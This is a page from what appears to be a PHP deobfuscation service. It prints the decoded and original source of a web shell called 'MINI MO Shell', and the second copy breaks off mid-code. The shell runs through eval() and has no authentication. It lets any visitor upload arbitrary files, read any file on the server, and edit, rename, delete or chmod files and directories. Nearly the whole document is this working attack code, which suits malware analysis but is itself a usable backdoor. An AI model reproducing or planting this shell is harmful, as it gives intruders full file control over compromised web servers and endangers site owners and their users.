Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $code="error_reporting(0); set_time_limit(0); if(get_magic_quotes_gpc()){ foreach(..
Decoded Output download
<?php
$code="error_reporting(0); set_time_limit(0); if(get_magic_quotes_gpc()){ foreach(\$_POST as \$_3c401db42a35020ad20d9c2a10c6c1d3=>\$_215a3c4a3a43e78bdc9b0416542f9e433d82d55a4439341aaaa51f1b){ \$_POST[\$_3c401db42a35020ad20d9c2a10c6c1d3] = stripslashes(\$_215a3c4a3a43e78bdc9b0416542f9e433d82d55a4439341aaaa51f1b); } } echo '<!DOCTYPE HTML>\xA<html>\xA<head>\xA<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\xA<title>MINI MO Shell</title>\xA<style>\xAbody{\xAfont-family: \"Racing Sans One\", cursive;\xAbackground-color: black;\xAcolor:white;\xA}\xA#content tr:hover{\xAbackground-color: blue;\xAtext-shadow:0px 0px 10px #fff;\xA}\xA#content .first{\xAbackground-color: blue;\xA}\xAtable{\xAborder: 1px #000000 dotted;\xA}\xAa{\xAcolor:white;\xAtext-decoration: none;\xA}\xAa:hover{\xAcolor:blue;\xAtext-shadow:0px 0px 10px #ffffff;\xA}\xAinput,select,textarea{\xAborder: 1px #000000 solid;\xA-moz-border-radius: 5px;\xA-webkit-border-radius:5px;\xAborder-radius:5px;\xA}\xA</style>\xA</head>\xA<body>\xA<h1><center><font color=\"blue\">MINI MINI MANI MO</font></center></h1>\xA<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\xA<tr><td><font color=\"white\">Path :</font> '; if(isset(\$_GET['path'])){ \$_a881949dfa69f00e72eafbfb766c9552b6999042 = \$_GET['path']; }else{ \$_a881949dfa69f00e72eafbfb766c9552b6999042 = getcwd(); } \$_a881949dfa69f00e72eafbfb766c9552b6999042 = str_replace('\\','/',\$_a881949dfa69f00e72eafbfb766c9552b6999042); \$_031c010c = explode('/',\$_a881949dfa69f00e72eafbfb766c9552b6999042); foreach(\$_031c010c as \$_eb0031b2371566edfafd66ae0527bc8d=>\$_f6b6855cce3c5d42a40ba7296f6b5fb0e89bb1cb){ if(\$_f6b6855cce3c5d42a40ba7296f6b5fb0e89bb1cb == '' && \$_eb0031b2371566edfafd66ae0527bc8d == 0){ \$_b6fb3201 = true; echo '<a href=\"?path=/\">/</a>'; continue; } if(\$_f6b6855cce3c5d42a40ba7296f6b5fb0e89bb1cb == '') continue; echo '<a href=\"?path='; for(\$_b646f66fc80216e57d66532066188635d808b4ef681c6b1ba0169cf5d07a8ee8fb294f2d3fa4d76eb21e2038d54b6165=0;\$_b646f66fc80216e57d66532066188635d808b4ef681c6b1ba0169cf5d07a8ee8fb294f2d3fa4d76eb21e2038d54b6165<=\$_eb0031b2371566edfafd66ae0527bc8d;\$_b646f66fc80216e57d66532066188635d808b4ef681c6b1ba0169cf5d07a8ee8fb294f2d3fa4d76eb21e2038d54b6165++){ echo \"\$_031c010c[\$_b646f66fc80216e57d66532066188635d808b4ef681c6b1ba0169cf5d07a8ee8fb294f2d3fa4d76eb21e2038d54b6165]\"; if(\$_b646f66fc80216e57d66532066188635d808b4ef681c6b1ba0169cf5d07a8ee8fb294f2d3fa4d76eb21e2038d54b6165 != \$_eb0031b2371566edfafd66ae0527bc8d) echo \"/\"; } echo '\">'.\$_f6b6855cce3c5d42a40ba7296f6b5fb0e89bb1cb.'</a>/'; } echo '</td></tr><tr><td>'; if(isset(\$_FILES['file'])){ if(copy(\$_FILES['file']['tmp_name'],\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_FILES['file']['name'])){ echo '<font color=\"green\">Upload Berhasil</font><br />'; }else{ echo '<font color=\"red\">Upload Gagal</font><br/>'; } } echo '<form enctype=\"multipart/form-data\" method=\"POST\">\xA<font color=\"white\">File Upload :</font> <input type=\"file\" name=\"file\" />\xA<input type=\"submit\" value=\"upload\" />\xA</form>\xA</td></tr>'; if(isset(\$_GET['filesrc'])){ echo \"<tr><td>Current File : \"; echo \$_GET['filesrc']; echo '</tr></td></table><br />'; echo('<pre>'.htmlspecialchars(file_get_contents(\$_GET['filesrc'])).'</pre>'); }elseif(isset(\$_GET['option']) && \$_POST['opt'] != 'delete'){ echo '</table><br /><center>'.\$_POST['path'].'<br /><br />'; if(\$_POST['opt'] == 'chmod'){ if(isset(\$_POST['perm'])){ if(chmod(\$_POST['path'],\$_POST['perm'])){ echo '<font color=\"green\">Change Permission Berhasil</font><br/>'; }else{ echo '<font color=\"red\">Change Permission Gagal</font><br />'; } } echo '<form method=\"POST\">\xAPermission : <input name=\"perm\" type=\"text\" size=\"4\" value=\"'.substr(sprintf('%o', fileperms(\$_POST['path'])), -4).'\" />\xA<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\xA<input type=\"hidden\" name=\"opt\" value=\"chmod\">\xA<input type=\"submit\" value=\"Go\" />\xA</form>'; }elseif(\$_POST['opt'] == 'rename'){ if(isset(\$_POST['newname'])){ if(rename(\$_POST['path'],\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_POST['newname'])){ echo '<font color=\"green\">Ganti Nama Berhasil</font><br/>'; }else{ echo '<font color=\"red\">Ganti Nama Gagal</font><br />'; } \$_POST['name'] = \$_POST['newname']; } echo '<form method=\"POST\">\xANew Name : <input name=\"newname\" type=\"text\" size=\"20\" value=\"'.\$_POST['name'].'\" />\xA<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\xA<input type=\"hidden\" name=\"opt\" value=\"rename\">\xA<input type=\"submit\" value=\"Go\" />\xA</form>'; }elseif(\$_POST['opt'] == 'edit'){ if(isset(\$_POST['src'])){ \$_598a5551747a0dcd13731bc45ea3a7c1afc1fb007d38454b = fopen(\$_POST['path'],'w'); if(fwrite(\$_598a5551747a0dcd13731bc45ea3a7c1afc1fb007d38454b,\$_POST['src'])){ echo '<font color=\"green\">Berhasil Edit File</font><br/>'; }else{ echo '<font color=\"red\">Gagal Edit File</font><br/>'; } fclose(\$_598a5551747a0dcd13731bc45ea3a7c1afc1fb007d38454b); } echo '<form method=\"POST\">\xA<textarea cols=80 rows=20 name=\"src\">'.htmlspecialchars(file_get_contents(\$_POST['path'])).'</textarea><br />\xA<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\xA<input type=\"hidden\" name=\"opt\" value=\"edit\">\xA<input type=\"submit\" value=\"Save\" />\xA</form>'; } echo '</center>'; }else{ echo '</table><br/><center>'; if(isset(\$_GET['option']) && \$_POST['opt'] == 'delete'){ if(\$_POST['type'] == 'dir'){ if(rmdir(\$_POST['path'])){ echo '<font color=\"green\">Directory Terhapus</font><br/>'; }else{ echo '<font color=\"red\">Directory Gagal Terhapus </font><br/>'; } }elseif(\$_POST['type'] == 'file'){ if(unlink(\$_POST['path'])){ echo '<font color=\"green\">File Terhapus</font><br/>'; }else{ echo '<font color=\"red\">File Gagal Dihapus</font><br/>'; } } } echo '</center>'; if(function_exists('opendir')) { if(\$_fc9671c6a5c5058b9dd9932d073e3304aa16ee2f2e9cb74f4f6c2f2897be3a2f = opendir(\$_a881949dfa69f00e72eafbfb766c9552b6999042)) { while((\$_a78c2472c1353f6df547d6a5a19dea50116a541cb469a44c57548e7a28a52905 = readdir(\$_fc9671c6a5c5058b9dd9932d073e3304aa16ee2f2e9cb74f4f6c2f2897be3a2f)) !== false) { \$_60c482b54758b21552b1e9e073a9a8a7[] = \$_a78c2472c1353f6df547d6a5a19dea50116a541cb469a44c57548e7a28a52905; } closedir(\$_fc9671c6a5c5058b9dd9932d073e3304aa16ee2f2e9cb74f4f6c2f2897be3a2f); } sort(\$_60c482b54758b21552b1e9e073a9a8a7); } else { \$_60c482b54758b21552b1e9e073a9a8a7 = scandir(\$_a881949dfa69f00e72eafbfb766c9552b6999042); } echo '<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\xA<tr class=\"first\">\xA<td><center>Name</peller></center></td>\xA<td><center>Size</peller></center></td>\xA<td><center>Permission</peller></center></td>\xA<td><center>Modify</peller></center></td>\xA</tr>'; foreach(\$_60c482b54758b21552b1e9e073a9a8a7 as \$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1){ if(!is_dir(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1) || \$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1 == '.' || \$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1 == '..') continue; echo '<tr>\xA<td><a href=\"?path='.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1.'\">'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1.'</a></td>\xA<td><center>--</center></td>\xA<td><center>'; if(is_writable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1)) echo '<font color=\"green\">'; elseif(!is_readable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1)) echo '<font color=\"blue\">'; echo perms(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1); if(is_writable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1) || !is_readable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1)) echo '</font>'; echo '</center></td>\xA<td><center><form method=\"POST\" action=\"?option&path='.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'\">\xA<select name=\"opt\">\xA<option value=\"\">Select</option>\xA<option value=\"delete\">Delete</option>\xA<option value=\"chmod\">Chmod</option>\xA<option value=\"rename\">Rename</option>\xA</select>\xA<input type=\"hidden\" name=\"type\" value=\"dir\">\xA<input type=\"hidden\" name=\"name\" value=\"'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1.'\">\xA<input type=\"hidden\" name=\"path\" value=\"'.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1.'\">\xA<input type=\"submit\" value=\">\">\xA</form></center></td>\xA</tr>'; } echo '<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>'; foreach(\$_60c482b54758b21552b1e9e073a9a8a7 as \$_703957b6dd9e3a7980e040bee50ded65){ if(!is_file(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65)) continue; \$_4f7123f078a67c84914923faf42843bf00b1cfec = filesize(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65)/1024; \$_4f7123f078a67c84914923faf42843bf00b1cfec = round(\$_4f7123f078a67c84914923faf42843bf00b1cfec,3); if(\$_4f7123f078a67c84914923faf42843bf00b1cfec >= 1024){ \$_4f7123f078a67c84914923faf42843bf00b1cfec = round(\$_4f7123f078a67c84914923faf42843bf00b1cfec/1024,2).' MB'; }else{ \$_4f7123f078a67c84914923faf42843bf00b1cfec = \$_4f7123f078a67c84914923faf42843bf00b1cfec.' KB'; } echo '<tr>\xA<td><a href=\"?filesrc='.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65.'&path='.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'\">'.\$_703957b6dd9e3a7980e040bee50ded65.'</a></td>\xA<td><center>'.\$_4f7123f078a67c84914923faf42843bf00b1cfec.'</center></td>\xA<td><center>'; if(is_writable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65)) echo '<font color=\"green\">'; elseif(!is_readable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65)) echo '<font color=\"blue\">'; echo perms(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65); if(is_writable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65) || !is_readable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65)) echo '</font>'; echo '</center></td>\xA<td><center><form method=\"POST\" action=\"?option&path='.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'\">\xA<select name=\"opt\">\xA<option value=\"\">Select</option>\xA<option value=\"delete\">Delete</option>\xA<option value=\"chmod\">Chmod</option>\xA<option value=\"rename\">Rename</option>\xA<option value=\"edit\">Edit</option>\xA</select>\xA<input type=\"hidden\" name=\"type\" value=\"file\">\xA<input type=\"hidden\" name=\"name\" value=\"'.\$_703957b6dd9e3a7980e040bee50ded65.'\">\xA<input type=\"hidden\" name=\"path\" value=\"'.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65.'\">\xA<input type=\"submit\" value=\">\">\xA</form></center></td>\xA</tr>'; } echo '</table>\xA</div>'; } echo '<center><br/> OHA YOOOO </center>\xA</body>\xA</html>'; function perms(\$_f65953a56bb9040f82e914d393f98c4569fe2c80){ \$_97a0ab0bcc6456082aa33bc45262d05e = fileperms(\$_f65953a56bb9040f82e914d393f98c4569fe2c80); if ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0xC000) == 0xC000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 's'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0xA000) == 0xA000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'l'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x8000) == 0x8000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = '-'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x6000) == 0x6000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'b'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x4000) == 0x4000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'd'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x2000) == 0x2000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'c'; } elseif ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x1000) == 0x1000) { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'p'; } else { \$_3efce53c52404d3fb3b4c6e7782bc8e1 = 'u'; } \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0100) ? 'r' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0080) ? 'w' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0040) ? ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0800) ? 's' : 'x' ) : ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0800) ? 'S' : '-')); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0020) ? 'r' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0010) ? 'w' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0008) ? ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0400) ? 's' : 'x' ) : ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0400) ? 'S' : '-')); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0004) ? 'r' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0002) ? 'w' : '-'); \$_3efce53c52404d3fb3b4c6e7782bc8e1 .= ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0001) ? ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0200) ? 't' : 'x' ) : ((\$_97a0ab0bcc6456082aa33bc45262d05e & 0x0200) ? 'T' : '-')); return \$_3efce53c52404d3fb3b4c6e7782bc8e1; }";
eval($code) ;
?>
Did this file decode correctly?
Original Code
<?php
$code="error_reporting(0); set_time_limit(0); if(get_magic_quotes_gpc()){ foreach(\$_POST as \$_3c401db42a35020ad20d9c2a10c6c1d3=>\$_215a3c4a3a43e78bdc9b0416542f9e433d82d55a4439341aaaa51f1b){ \$_POST[\$_3c401db42a35020ad20d9c2a10c6c1d3] = stripslashes(\$_215a3c4a3a43e78bdc9b0416542f9e433d82d55a4439341aaaa51f1b); } } echo '<!DOCTYPE HTML>\xA<html>\xA<head>\xA<link href=\"\" rel=\"stylesheet\" type=\"text/css\">\xA<title>MINI MO Shell</title>\xA<style>\xAbody{\xAfont-family: \"Racing Sans One\", cursive;\xAbackground-color: black;\xAcolor:white;\xA}\xA#content tr:hover{\xAbackground-color: blue;\xAtext-shadow:0px 0px 10px #fff;\xA}\xA#content .first{\xAbackground-color: blue;\xA}\xAtable{\xAborder: 1px #000000 dotted;\xA}\xAa{\xAcolor:white;\xAtext-decoration: none;\xA}\xAa:hover{\xAcolor:blue;\xAtext-shadow:0px 0px 10px #ffffff;\xA}\xAinput,select,textarea{\xAborder: 1px #000000 solid;\xA-moz-border-radius: 5px;\xA-webkit-border-radius:5px;\xAborder-radius:5px;\xA}\xA</style>\xA</head>\xA<body>\xA<h1><center><font color=\"blue\">MINI MINI MANI MO</font></center></h1>\xA<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\xA<tr><td><font color=\"white\">Path :</font> '; if(isset(\$_GET['path'])){ \$_a881949dfa69f00e72eafbfb766c9552b6999042 = \$_GET['path']; }else{ \$_a881949dfa69f00e72eafbfb766c9552b6999042 = getcwd(); } \$_a881949dfa69f00e72eafbfb766c9552b6999042 = str_replace('\\','/',\$_a881949dfa69f00e72eafbfb766c9552b6999042); \$_031c010c = explode('/',\$_a881949dfa69f00e72eafbfb766c9552b6999042); foreach(\$_031c010c as \$_eb0031b2371566edfafd66ae0527bc8d=>\$_f6b6855cce3c5d42a40ba7296f6b5fb0e89bb1cb){ if(\$_f6b6855cce3c5d42a40ba7296f6b5fb0e89bb1cb == '' && \$_eb0031b2371566edfafd66ae0527bc8d == 0){ \$_b6fb3201 = true; echo '<a href=\"?path=/\">/</a>'; continue; } if(\$_f6b6855cce3c5d42a40ba7296f6b5fb0e89bb1cb == '') continue; echo '<a href=\"?path='; for(\$_b646f66fc80216e57d66532066188635d808b4ef681c6b1ba0169cf5d07a8ee8fb294f2d3fa4d76eb21e2038d54b6165=0;\$_b646f66fc80216e57d66532066188635d808b4ef681c6b1ba0169cf5d07a8ee8fb294f2d3fa4d76eb21e2038d54b6165<=\$_eb0031b2371566edfafd66ae0527bc8d;\$_b646f66fc80216e57d66532066188635d808b4ef681c6b1ba0169cf5d07a8ee8fb294f2d3fa4d76eb21e2038d54b6165++){ echo \"\$_031c010c[\$_b646f66fc80216e57d66532066188635d808b4ef681c6b1ba0169cf5d07a8ee8fb294f2d3fa4d76eb21e2038d54b6165]\"; if(\$_b646f66fc80216e57d66532066188635d808b4ef681c6b1ba0169cf5d07a8ee8fb294f2d3fa4d76eb21e2038d54b6165 != \$_eb0031b2371566edfafd66ae0527bc8d) echo \"/\"; } echo '\">'.\$_f6b6855cce3c5d42a40ba7296f6b5fb0e89bb1cb.'</a>/'; } echo '</td></tr><tr><td>'; if(isset(\$_FILES['file'])){ if(copy(\$_FILES['file']['tmp_name'],\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_FILES['file']['name'])){ echo '<font color=\"green\">Upload Berhasil</font><br />'; }else{ echo '<font color=\"red\">Upload Gagal</font><br/>'; } } echo '<form enctype=\"multipart/form-data\" method=\"POST\">\xA<font color=\"white\">File Upload :</font> <input type=\"file\" name=\"file\" />\xA<input type=\"submit\" value=\"upload\" />\xA</form>\xA</td></tr>'; if(isset(\$_GET['filesrc'])){ echo \"<tr><td>Current File : \"; echo \$_GET['filesrc']; echo '</tr></td></table><br />'; echo('<pre>'.htmlspecialchars(file_get_contents(\$_GET['filesrc'])).'</pre>'); }elseif(isset(\$_GET['option']) && \$_POST['opt'] != 'delete'){ echo '</table><br /><center>'.\$_POST['path'].'<br /><br />'; if(\$_POST['opt'] == 'chmod'){ if(isset(\$_POST['perm'])){ if(chmod(\$_POST['path'],\$_POST['perm'])){ echo '<font color=\"green\">Change Permission Berhasil</font><br/>'; }else{ echo '<font color=\"red\">Change Permission Gagal</font><br />'; } } echo '<form method=\"POST\">\xAPermission : <input name=\"perm\" type=\"text\" size=\"4\" value=\"'.substr(sprintf('%o', fileperms(\$_POST['path'])), -4).'\" />\xA<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\xA<input type=\"hidden\" name=\"opt\" value=\"chmod\">\xA<input type=\"submit\" value=\"Go\" />\xA</form>'; }elseif(\$_POST['opt'] == 'rename'){ if(isset(\$_POST['newname'])){ if(rename(\$_POST['path'],\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_POST['newname'])){ echo '<font color=\"green\">Ganti Nama Berhasil</font><br/>'; }else{ echo '<font color=\"red\">Ganti Nama Gagal</font><br />'; } \$_POST['name'] = \$_POST['newname']; } echo '<form method=\"POST\">\xANew Name : <input name=\"newname\" type=\"text\" size=\"20\" value=\"'.\$_POST['name'].'\" />\xA<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\xA<input type=\"hidden\" name=\"opt\" value=\"rename\">\xA<input type=\"submit\" value=\"Go\" />\xA</form>'; }elseif(\$_POST['opt'] == 'edit'){ if(isset(\$_POST['src'])){ \$_598a5551747a0dcd13731bc45ea3a7c1afc1fb007d38454b = fopen(\$_POST['path'],'w'); if(fwrite(\$_598a5551747a0dcd13731bc45ea3a7c1afc1fb007d38454b,\$_POST['src'])){ echo '<font color=\"green\">Berhasil Edit File</font><br/>'; }else{ echo '<font color=\"red\">Gagal Edit File</font><br/>'; } fclose(\$_598a5551747a0dcd13731bc45ea3a7c1afc1fb007d38454b); } echo '<form method=\"POST\">\xA<textarea cols=80 rows=20 name=\"src\">'.htmlspecialchars(file_get_contents(\$_POST['path'])).'</textarea><br />\xA<input type=\"hidden\" name=\"path\" value=\"'.\$_POST['path'].'\">\xA<input type=\"hidden\" name=\"opt\" value=\"edit\">\xA<input type=\"submit\" value=\"Save\" />\xA</form>'; } echo '</center>'; }else{ echo '</table><br/><center>'; if(isset(\$_GET['option']) && \$_POST['opt'] == 'delete'){ if(\$_POST['type'] == 'dir'){ if(rmdir(\$_POST['path'])){ echo '<font color=\"green\">Directory Terhapus</font><br/>'; }else{ echo '<font color=\"red\">Directory Gagal Terhapus </font><br/>'; } }elseif(\$_POST['type'] == 'file'){ if(unlink(\$_POST['path'])){ echo '<font color=\"green\">File Terhapus</font><br/>'; }else{ echo '<font color=\"red\">File Gagal Dihapus</font><br/>'; } } } echo '</center>'; if(function_exists('opendir')) { if(\$_fc9671c6a5c5058b9dd9932d073e3304aa16ee2f2e9cb74f4f6c2f2897be3a2f = opendir(\$_a881949dfa69f00e72eafbfb766c9552b6999042)) { while((\$_a78c2472c1353f6df547d6a5a19dea50116a541cb469a44c57548e7a28a52905 = readdir(\$_fc9671c6a5c5058b9dd9932d073e3304aa16ee2f2e9cb74f4f6c2f2897be3a2f)) !== false) { \$_60c482b54758b21552b1e9e073a9a8a7[] = \$_a78c2472c1353f6df547d6a5a19dea50116a541cb469a44c57548e7a28a52905; } closedir(\$_fc9671c6a5c5058b9dd9932d073e3304aa16ee2f2e9cb74f4f6c2f2897be3a2f); } sort(\$_60c482b54758b21552b1e9e073a9a8a7); } else { \$_60c482b54758b21552b1e9e073a9a8a7 = scandir(\$_a881949dfa69f00e72eafbfb766c9552b6999042); } echo '<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\xA<tr class=\"first\">\xA<td><center>Name</peller></center></td>\xA<td><center>Size</peller></center></td>\xA<td><center>Permission</peller></center></td>\xA<td><center>Modify</peller></center></td>\xA</tr>'; foreach(\$_60c482b54758b21552b1e9e073a9a8a7 as \$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1){ if(!is_dir(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1) || \$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1 == '.' || \$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1 == '..') continue; echo '<tr>\xA<td><a href=\"?path='.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1.'\">'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1.'</a></td>\xA<td><center>--</center></td>\xA<td><center>'; if(is_writable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1)) echo '<font color=\"green\">'; elseif(!is_readable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1)) echo '<font color=\"blue\">'; echo perms(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1); if(is_writable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1) || !is_readable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1)) echo '</font>'; echo '</center></td>\xA<td><center><form method=\"POST\" action=\"?option&path='.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'\">\xA<select name=\"opt\">\xA<option value=\"\">Select</option>\xA<option value=\"delete\">Delete</option>\xA<option value=\"chmod\">Chmod</option>\xA<option value=\"rename\">Rename</option>\xA</select>\xA<input type=\"hidden\" name=\"type\" value=\"dir\">\xA<input type=\"hidden\" name=\"name\" value=\"'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1.'\">\xA<input type=\"hidden\" name=\"path\" value=\"'.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_d3778aebe89edbb668cd18ca5aa35c5afec77fbc3ff6dec73ffff121fc1f0bf1.'\">\xA<input type=\"submit\" value=\">\">\xA</form></center></td>\xA</tr>'; } echo '<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>'; foreach(\$_60c482b54758b21552b1e9e073a9a8a7 as \$_703957b6dd9e3a7980e040bee50ded65){ if(!is_file(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65)) continue; \$_4f7123f078a67c84914923faf42843bf00b1cfec = filesize(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65)/1024; \$_4f7123f078a67c84914923faf42843bf00b1cfec = round(\$_4f7123f078a67c84914923faf42843bf00b1cfec,3); if(\$_4f7123f078a67c84914923faf42843bf00b1cfec >= 1024){ \$_4f7123f078a67c84914923faf42843bf00b1cfec = round(\$_4f7123f078a67c84914923faf42843bf00b1cfec/1024,2).' MB'; }else{ \$_4f7123f078a67c84914923faf42843bf00b1cfec = \$_4f7123f078a67c84914923faf42843bf00b1cfec.' KB'; } echo '<tr>\xA<td><a href=\"?filesrc='.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65.'&path='.\$_a881949dfa69f00e72eafbfb766c9552b6999042.'\">'.\$_703957b6dd9e3a7980e040bee50ded65.'</a></td>\xA<td><center>'.\$_4f7123f078a67c84914923faf42843bf00b1cfec.'</center></td>\xA<td><center>'; if(is_writable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65)) echo '<font color=\"green\">'; elseif(!is_readable(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65)) echo '<font color=\"blue\">'; echo perms(\$_a881949dfa69f00e72eafbfb766c9552b6999042.'/'.\$_703957b6dd9e3a7980e040bee50ded65); 